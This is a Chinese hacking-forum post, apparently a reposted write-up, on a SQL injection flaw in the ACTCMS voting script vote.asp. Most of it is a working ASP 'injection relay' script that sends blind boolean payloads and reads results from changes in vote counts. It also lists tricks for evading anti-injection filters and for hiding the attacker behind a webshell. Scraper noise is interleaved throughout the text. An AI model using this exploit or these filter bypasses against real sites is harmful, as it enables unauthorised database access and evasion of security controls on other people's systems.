中国网络渗透测试联盟
标题:
注入中转的高级应用,actcms漏洞以及其他
[打印本页]
作者:
admin
时间:
2012-11-6 21:13
标题:
注入中转的高级应用,actcms漏洞以及其他
2 G6 A/ [9 _- H# p7 J
看到ninty大牛的blog的一篇文章
( B8 J1 Y4 N- e: x
链接标记[url]http://www.forjj.com/?action=show&id=80
[/url]
* @. r) \' o+ B, B, t
关于actcms漏洞的利用 by 3x qq:381862589
- Y) k( j) J. [# \7 Y) N6 R
转载请注明以上
7 E7 {! g$ _) @3 U
漏洞文件:
: G! d1 n. X% B) f3 Z8 h
/plus/vote/vote.asp
$ l6 Q+ e, Z2 ]5 A9 ]4 p- V9 @' k+ P
代码:
链接标记预览源代码
链接标记打印
链接标记关于
1if request("voted").count=0 then
2 M5 i/ ?5 X B$ x- a7 g
6 c: t2 {9 N5 U" b- |) i
2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
+ t. ^6 a i0 l# o6 l8 O2 l2 p2 C
% \' ?+ q F I8 C* C
3 response.end
- O& d0 v$ Y( ~- G) _4 b
+ R: a! }0 @0 n# B
4 end if
F. ~1 J4 g1 W5 E B$ w& ^
2 d8 |- q0 c3 A' X" H( V, ?5 y' R
5 for i=1 to request("voted").count
' u' x# f$ _8 k8 m
, @3 D; h" J. ?( _7 k) G1 ~: w7 [
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
, H" k7 i1 Q" Q1 [
! \& J" o( q5 N" C, k% ?6 H
7 next
0 u! U) J$ o- `' H
4 }3 S1 |/ s+ l3 Y/ C: G
8....
: W. N$ G% X) Q, W* J
$ y" ?0 B. e# j$ K% ?
9response.Redirect "index.asp?id="&id&""
% I" D5 F$ G- ^2 b4 F
投票结束回跳转回index.asp这个投票结果页面
$ Y: `' S: u% U# R% Z
如果投票成功票数加1
t y3 \8 W! A& y1 q# [7 }
失败票数不变
' w5 `, i* m3 x3 t; p3 y
如图:
$ k' f+ s9 c$ w9 ]
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg
链接标记下载
(3.95 KB)
1 Q, a2 B- ]; n, E2 y# c2 P
8 M2 k& C: l. _# |+ ?
2009-12-27 13:20
" A8 ^4 n# D$ I& p
& x' X7 o0 f& x" G1 R
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
' Z0 n" A# z4 I% ?9 B
$ G2 n7 ?/ l. g# }1 R! x
本帖隐藏的内容需要回复才可以浏览
# w/ v& N8 }6 B) r+ S0 O* @9 Q; b
我们用注入中转来实现这个注入具体代码如下:
5 d4 T2 F8 r3 s. c( ^
先用寂寞的刺猬大牛的注入中转生成jmget.asp
$ R A8 f& Y& P- V
注入地址:http://localhost/actcms/plus/vote/vote.asp
9 k+ L; S1 e" `
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
) t1 U3 [! Q" H$ r4 a, X
" j$ C6 l( c* I6 T0 L1 ]
然后进行修改变成如下代码:
链接标记预览源代码
链接标记打印
链接标记关于
01<%
. [/ U( Z9 u0 y. F
; H# T: ^- |; ^* R6 \1 `# l
02JmdcwName=request("jmdcw")
+ @' b2 d; T0 \7 I0 l! C( s& D% `
/ S8 c& i1 S. I( B
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
: e4 V# S& P2 p0 F
9 I" S% |6 p/ w
04JmStr="id=1&voted=-1 or 1="&JmdcwName
" \7 R: i( |1 b1 ~7 ?/ `
) H3 F) V/ M& E
05JmStr=URLEncoding(JmStr)
3 y: J0 n1 H) J3 T9 W
4 K* ^ F6 P' n& m H. Y
06JMUrl="
链接标记http://localhost/actcms/plus/vote/vote.asp
"
. U0 h% F; W% f. i4 ^) O
7 {. H( J }2 |2 Q- e) K
07testurl="
链接标记http://localhost/actcms/plus/vote/index.asp
"
: b+ l6 f4 o4 M/ T
2 B3 S+ M w6 x) p
08testurl=testurl & "?" & JmStr
4 H$ {3 I7 ^/ k% f5 A9 Z
9 q! }+ \0 ?: N1 t8 _
09JMUrl=JMUrl & "?" & JmStr
$ a" K/ U* P4 R/ ~% z
" b/ \3 k; j8 S+ w# V: F$ G" b
10JmRef="
链接标记http://localhost/actcms/plus/vote/vote.asp
"
# Y8 t$ ]$ G6 F
! ~7 d3 m# v7 Y0 W& d
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
: h3 a! }0 M2 u5 c% W6 r
% G* o1 g# H+ E( G$ k/ I
12JmCok=replace(JmCok,chr(32),"%20")
# T0 G/ z, U1 O& u2 i, |
1 H8 s9 h2 w3 ^
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
# v) g3 K8 V7 d
. a) K% g0 @; c% m3 p6 y+ O
14
; M5 ]) e! T: l+ l. D
9 o/ w8 V7 M: r% i' V/ ~
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
4 }0 s( q% t9 k) K
3 q* `$ d/ Z0 ~3 U
16
) E" |- c) C9 `' M
' ]8 b8 r% Y& E k
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
- |7 e- X6 ^* f" N* P _! I
& j) b' j8 U: F$ X9 i2 N( P
18response.write test1&""&test2&""
1 n! N' ^: z0 s: x( w$ O7 @
2 I6 X9 C1 m0 N* g, P) U) k1 ~
19
4 U M! @! z/ X9 I7 A3 R
" K/ {# d; v8 W
20if test1=test2 then '如前后记录相等,表示失败
% z5 T' q8 y3 P, T0 i- p
' E0 Q/ I' M/ _+ }% e
21 response.write "failed"
$ R+ P9 L* J* g* Q8 }
/ w; f0 \7 g& D
22else
, ^1 S6 b" P+ {' s' y
& F/ b/ X$ e9 y6 E4 n
23 response.write "succeed"
6 K) F. X) d( i8 [0 C7 H% v
4 U( p! a$ N2 `# e7 {( S
24end if
& f5 x& m( x) @! b$ d4 q
8 W" n# W7 L: Q2 _8 r1 @# A, h
25
4 N4 X" V( { c$ u- h
% d- r9 M# H. X2 ~' w% p0 W
26response.write "by 3x"
( f' w: k0 y3 h3 d1 J8 `5 z
) x. `% U) Z) T& q; g/ E- w
27
) ] L4 [2 ]- `" }. f
& E9 \) V/ V: L5 f! X: g
28
6 D1 Y$ w$ y' T, R
1 P# U: W7 B0 d1 `, P# _
29Function PostData(PostUrl,PostStr,PostCok,PostRef)
" H; {/ r# w9 p0 p% k( T: L
( }2 N3 G6 i- V( O8 { d, {
30Dim Http
2 C3 `! \" [& {% S% ?6 G
8 T7 E G8 E/ |) {7 v4 L: ]* u
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
. {; t) i, s2 G7 z+ [/ ]5 Y; U _
" ]9 b6 h! L6 l9 w' t
32With Http
9 w. g2 z" X3 j6 b% Z& i
' q6 g$ L$ i4 F; X. z2 |/ I( u
33
Q9 a6 O# Z4 W& e+ @ H- m
r' s2 h$ n- I& P
34.Open "GET",PostUrl,False
" G9 K" M6 {- ?3 P4 i9 O' x# Y/ X8 x
% P( Q8 ?2 ` g! h3 P" j% G
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
; M. \ L3 t, ?
) e& ~; p+ A+ }+ { m7 b$ R8 x1 P
36.SetRequestHeader "Referer",PostRef
, W4 a( D. Y3 s3 @" P9 h
5 w- [ _& p3 c. V) ^% U& W) r
37.SetRequestHeader "Cookie",PostCok
+ U6 B# R1 L+ V
' Z) r; m/ X( Y' Y) h
38.Send ()
! \, ^& \6 |) `0 C% V6 q
, L# W9 l7 ]% Q
39PostData = .ResponseBody
* M H$ T" O( v* @( D3 D
! g$ D u9 _) Q" |9 i8 B" d
40End With
; x2 @) t% [3 h: Q8 E3 n7 C
; c9 p* J7 ?7 w6 q4 C
41Set Http = Nothing
- m$ o- ~& \3 g1 Q' z
* m' H8 O/ {2 c9 D3 K. |9 T
42PostData =bytes2BSTR(PostData)
5 p9 ^% z5 t p' m. l u( j
% o1 Y2 s7 b2 x; {( \- `
43End Function
8 r2 A6 l/ D( e- ]/ o+ q
* O+ H: ]/ W# x! |3 V) k
44
6 F) M9 E# W) K! u1 A+ Y; M& }+ U8 H
6 F/ k0 a w5 W: `
45
+ X, {+ A2 G5 K Z- |
0 [' L m, l7 n
46Function bytes2BSTR(vIn)
) Y% Y$ ^6 p( Y- o6 R
8 z, L7 O$ F9 l3 z
47Dim strReturn
* B& E h- }2 O. e: s9 K
' U3 M7 n0 G3 v+ }9 c) Y; Y
48Dim I, ThisCharCode, NextCharCode
" n2 L5 o; o" I7 T& z' E% i4 A
2 X. E, I, v/ \
49strReturn = ""
6 u4 A. C& V9 u# Z4 D7 @2 g* g- ^
( J- G5 f4 K! r
50For I = 1 To LenB(vIn)
! N @. C& l/ C8 W3 Q7 Z
+ x" Y9 G7 n+ t- [% ]
51ThisCharCode = AscB(MidB(vIn, I, 1))
z @$ |2 \& ~' a# H" _
0 H+ l/ s* S& m/ N8 G( U
52If ThisCharCode < &H80 Then
( p" W' p. l5 K& U4 g
0 {5 c. V2 Y; L9 o% U" Z% J8 s
53strReturn = strReturn & Chr(ThisCharCode)
/ m) j) H5 ` c3 t: G
" a% \8 c& Q$ b2 h3 A: ~, K
54Else
5 w' Q$ B, D# O9 h
+ [# @7 ~4 s2 v* V p/ }1 n
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
9 P j8 D" N9 Q
0 w, q! z) }- _8 `' W5 N
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
5 @: e6 O7 ?# L; M1 [/ `
1 ~& s7 P; p: n e) {4 I0 J/ y0 b
57I = I + 1
8 d% V' k' c- s( B2 j( S
) T. C/ P. i7 A9 h/ T/ P. f8 J
58End If
1 U! W; l% q4 o1 \- d- h+ U% Y
1 j0 q+ S0 I# Y- U+ [
59Next
9 e$ m3 F5 M' L
9 J* d4 x& ? E; d/ `0 A' b
60bytes2BSTR = strReturn
) g& N: h5 c3 T
5 s% C% {, ?# K1 y' a8 K
61End Function
2 z/ }& h6 C( I) v$ ~1 c. h" v _
5 A+ M7 ?4 O4 @( n0 D2 G% `
62
8 m7 r- Q0 ^" e, V1 X
& L: b' H8 n6 m6 i4 Q7 m* F+ n
63Function URLEncoding(vstrin)
4 R# X+ y0 w( {) M) Y$ x& W' i
6 R8 r% W8 Z7 q1 j9 f, {) F
64strReturn=""
7 b5 \1 b' A) E% G! |
. X2 d& }: b# L4 d
65Dim i
q w& I' e# A( C
- u8 h' C- A$ @- w5 x. i
66For i=1 To Len(vstrin)
$ d1 L" D. ~; L5 i
+ a* ~, P/ W+ W3 k9 m
67ThisChr=Mid(vstrin,i,1)
* r7 X( @. J( P3 r4 {
' c% W. M- z9 J+ S# Q" x; }! j
68if Abs(Asc(ThisChr))< &HFF Then
8 @" d6 P" x! T* I) u" @) W- }! L
, [; u( _* H+ l
69strReturn=strReturn & ThisChr
& n3 p9 p" j0 V
8 |* ]1 D+ O0 G$ c( U4 B1 [, a
70Else
0 E6 S9 q) |" X. d- }
- E& ?& K+ X- f' W
71InnerCode=Asc(ThisChr)
: D0 L( Z0 y6 y2 D2 p
! R! _* T) \1 @0 y2 h
72If InnerCode<0 Then
$ C7 g& F+ | y/ C; f, q
5 b% `6 P- y* S; J
73InnerCode=InnerCode + &H10000
) W9 n" I. m" x9 d
! R0 E) g! F' l2 u. A/ ^
74End If
. U- k! L) M) g! ^
, h; Y' ?0 e8 b1 k9 S, Y& F6 ^
75Hight1=(InnerCode And &HFF00) \&HFF
7 Y' @4 S/ x9 S* x0 @& N
! Q* F4 P9 `* z8 Q
76Low1=InnerCode And &HFF
0 E+ S& Y" G! J1 Z/ l# [
Z; p4 c+ X4 B( `
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
+ v! u; V, z1 r6 ^# h
8 {: X5 i7 i/ g5 {" S* O
78End if
0 n6 N4 o3 C( [3 t) S0 }* ^
! j; D/ }9 E; ?9 p" K# T
79Next
6 X \% j/ m6 \1 d
9 c% l( h! e& R* k, H) S
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
, Z4 k0 `/ m: H9 j }: @
s1 A @/ ~! I9 D
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
: B: B+ O0 T& b% D2 a
- C7 O1 ^6 T; D r2 ^/ f
82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
. L8 h& N/ e' w* s$ Q
; ]" \6 }+ l4 z* r
83URLEncoding=strReturn
7 y3 Z( [+ a8 A9 c2 L0 n2 E
) h) K; u- s5 a c8 O. e! g
84End Function
" F) W4 ]$ m' d0 G
# i2 I3 r+ y; n6 z0 L- I5 D
85
! N, g9 ^1 b( ]( J e' `
5 J( W; |. D6 S" R' }
86function getSt(body)
% x, p6 X" @- m C' u0 E
! F& m9 g9 o' r: I& O
87 startpot=instr(body,"投票人数:")+len("投票人数:")
* O1 g: a2 d! A8 I4 u" K
% `/ W0 W, Q7 t
88 endpot=instr(startpot,body," ")
- z3 X1 z1 o6 v. y0 q% L$ e
4 W( Y& S/ v: q$ @( j, l9 N- ]
89 getSt=mid(body,startpot,endpot-startpot)
0 Q; U+ r9 {3 G% \
7 c9 J9 ^4 L, T* Z M8 N" x4 P% |8 X
90end function
% x. \0 P: Q5 \$ {; D$ |& |8 G8 x
8 j2 d6 P* r3 a$ L
91%>
9 Q( Q) q7 m c
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
* g+ q0 y5 k4 x/ g4 S$ m! T& K
测试下效果:
+ q; k b0 H2 v
投票成功:
9 P1 K$ c+ @' ^" k; y% M2 I
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg
链接标记下载
(15.4 KB)
* e3 }7 |0 I$ z/ V0 s
' S2 O: ]' \; [' d% Q4 S
2009-12-27 13:29
! S2 \7 K4 d( Y$ E( a: r5 W
投票失败
, b2 [4 z/ x$ _- E( m9 k; p3 M
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg
链接标记下载
(13.72 KB)
+ {) a% s& v9 g, y* [" W" H
* [4 p+ A8 _& k& ?9 l& v L) r
2009-12-27 13:29
% [/ @+ D: L& b+ W9 n& j$ c
-------------------------------------------------------------------------------
2 e, f+ g; L4 P/ ~$ f5 ^& B* W
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
4 P( L5 N' p5 t4 @3 ^1 g* d
很抱歉。。。只能用单线程工具去注入。。。。。
# u; r+ J. Y+ l3 I' }: V
所以失败。。。不好意思。。。
4 b, D# a. C4 }+ P; b2 m
-------------------------------------------------------------------------------
4 ?4 U0 T: N) S1 ?- M
* }$ ^2 `7 V3 G; g/ U
注入中转的一些其他应用
, x+ k: { ^/ s2 e+ N: j5 O
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
& y6 Q$ _; u$ B4 l V- n6 N& S' ?
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
, W/ U$ _% |3 _& t4 k
2.post注入转成get型的注入,方便我们使用工具来跑
* B5 I0 R: Y( g/ y7 _
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
# t H9 D i2 L q
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
; ]/ K Q: ]( s2 S- P% n
1 a8 ~! N d5 o8 I5 o8 Y
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2